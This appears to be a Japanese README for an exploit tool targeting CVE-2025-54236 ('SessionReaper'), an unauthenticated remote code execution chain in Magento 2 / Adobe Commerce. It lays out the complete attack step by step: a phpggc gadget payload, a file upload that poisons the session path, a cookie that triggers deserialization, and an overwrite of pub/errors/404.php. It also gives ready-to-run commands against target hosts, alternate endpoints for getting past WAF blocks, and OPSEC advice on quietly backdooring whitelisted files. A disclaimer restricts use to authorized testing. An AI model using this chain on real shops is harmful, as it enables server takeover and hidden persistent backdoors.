
PoC Magento Session Reaper - CVE-2025-54236
CVE-2025-54236(「SessionReaper」)の統合PoCです。Magento 2 / Adobe CommerceのREST APIにおけるネストされたデシリアライゼーションを悪用した、認証不要のクリティカルなRCEを示します。
ServiceInputProcessor における不適切な入力検証(CWE-20)。エクスプロイトのプリミティブは安全でないデシリアライゼーション(CWE-502)許可されたセキュリティテスト専用です。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。
このツールは、すべてのベクターに共通する3つのステージとトリガーを連鎖させます:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> により、デシリアライズ時に payload.php を <remote_path> に書き込むシリアライズオブジェクトを生成します。POST /customer/address_file/upload でシリアライズブロブを sess_<SESSID> として保存します。Magentoはアップロードされたアドレスファイルをファイル名の先頭文字で分散するため、media/customer_address/s/e/sess_<SESSID> に配置されます(したがって --save-path に s/e/ が含まれます)。Session\Config を構築し、setSavePath() → setOption() → ini_set('session.save_path', ...)(プロセスグローバルな副作用)を介してPHPのセッションハンドラをアップロードされたブロブに向けます。Cookie: PHPSESSID=<SESSID> を含むリクエストにより session_start() が強制され、ポイズンされたファイルを読み取って unserialize() し、ガジェットを発火させてペイロードを書き込みます。3つのベクターはすべて同じシンク(context → urlBuilder → session → sessionConfig → savePath)に到達します。エンドポイント、HTTPメソッド、Magentoモジュールのみが異なります。これは、WAFや無効化されたモジュールがあるエンドポイントをブロックしても別のエンドポイントはブロックされない場合に有用です。
どのベクターでも実際のカートは不要です。 ServiceInputProcessor は入力解決中にメソッドパラメータをデシリアライズするため、サービスがカートルックアップを呼び出す前 に、ダミーの cartId abc だけで3つすべてのベクターがシンクに到達します。その後の「カートが見つからない」エラー(404/500)は想定内であり、デシリアライゼーションの副作用が既に発火したことを確認します。
--skuフラグを使用すると、トリガー前に実際のゲストカートを作成して商品を追加する(GraphQLで確認)ことも可能です。これは オプション であり、エクスプロイトには不要です。完全に現実的なチェックアウトフローを好む環境でのみ使用します。省略した場合、ツールはダミーのabcカートを使用します。
var/session/)が使用されていること。RedisやデータベースバックアップのセッションはこのRCE連鎖の影響を受けません。これはリモートから列挙できないため、ブラインドで試行する必要があります。/customer/address_file/upload が認証なしで到達可能であること。requestsphpggc — PATH、一般的なインストール場所から自動検出、またはフォールバックとして ambionics/phpggc Dockerイメージを使用payload.php がスクリプトと同じディレクトリに存在すること(<?php で始まる必要あり)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # または: docker pull ambionics/phpggc
# order(元のベクター)— カート不要、認証不要
python3 session_reaper.py --host https://target.com --method order
# checkmo — 支払いエンドポイント、REST APIにスペインのストアスコープを使用
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — 配送エンドポイント
python3 session_reaper.py --host https://target.com --method address --api-store all
# オプション: 既知のSKUを使用して実際のカートフローを実行(必須ではありません)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
ツールは2つの独立したストアコードを使用します:
--api-store — デシリアライゼーション リクエストURL(/rest/<api-store>/V1/guest-carts/...)のスコープ。ここで ServiceInputProcessor が動作します。--store — トリガー リクエスト(GET /<store>/)および --sku 使用時のカートリクエストのスコープ。ストアビューコードは管理者が定義します。es/fr を想定しないでください。まずアクティブなストアビューを列挙してください — 存在しないスコープに対するリクエストは単に失敗します。
pub/errors/404.php かMagentoのデフォルトのNginx設定は、7つ のPHPファイルのみを fastcgi_backend に渡します:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
その他の .php(pub/media/ にドロップされたものも含む)は拒否され、実行されることはありません。そのためペイロードは新しいファイルをドロップするのではなく、これらのホワイトリストに登録された7つのファイルのいずれかを上書き する必要があります。pub/errors/404.php がデフォルトなのは、Magentoが404ページを内部でレンダリングするためで、ライブストアでは頻繁に発火します。
OPSEC:
404.phpを完全に上書きすると(すべての404で実行されるため)目立ちます。実際のエンゲージメントでは、ファイルを潰すのではなく、ホワイトリストに登録されたファイルに控えめにバックドアを仕掛けてください。
--username/--password は、特定のセットアップでBearerトークンが必要な場合にのみ使用します。/tmp/sess_<SESSID> ファイルは終了時に削除されます。許可されたセキュリティ研究およびテストのために提供されています。著者は誤用に対する責任を負いません。明示的な許可なくシステムに対して実行しないでください。
| メソッド | エンドポイント | 動詞 | チェーンへのエントリポイント |
|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
| フラグ | デフォルト | 説明 |
|---|
--host | (必須) | ターゲットのベースURL |
--method | (必須) | address | checkmo | order |
--store | default | トリガーリクエスト(および--sku使用時のカート)のストアコード |
--api-store | default | デシリアライゼーションエンドポイントURL内のストアコード(all | es | default | カスタム) |
--sku | (なし) | オプション。 設定すると、このSKUで実際のゲストカートを作成します。必須ではありません。 |
--payload-in | payload.php | ターゲットに書き込むPHPペイロード |
--payload-out | /var/www/html/pub/errors/404.php | リモートの書き込みパス(Web実行可能な場所である必要があります — 以下の注意参照) |
--save-path | media/customer_address/s/e/ | ガジェットチェーンに注入される savePath |
--phpggc | (自動) | phpggc バイナリへの明示的なパス |
--proxy | http://127.0.0.1:8081 | HTTPプロキシ(例: Burp) |
--no-proxy | off | プロキシを無効化 |
--username / --password | (なし) | Bearerトークンのためのオプションの顧客認証情報 |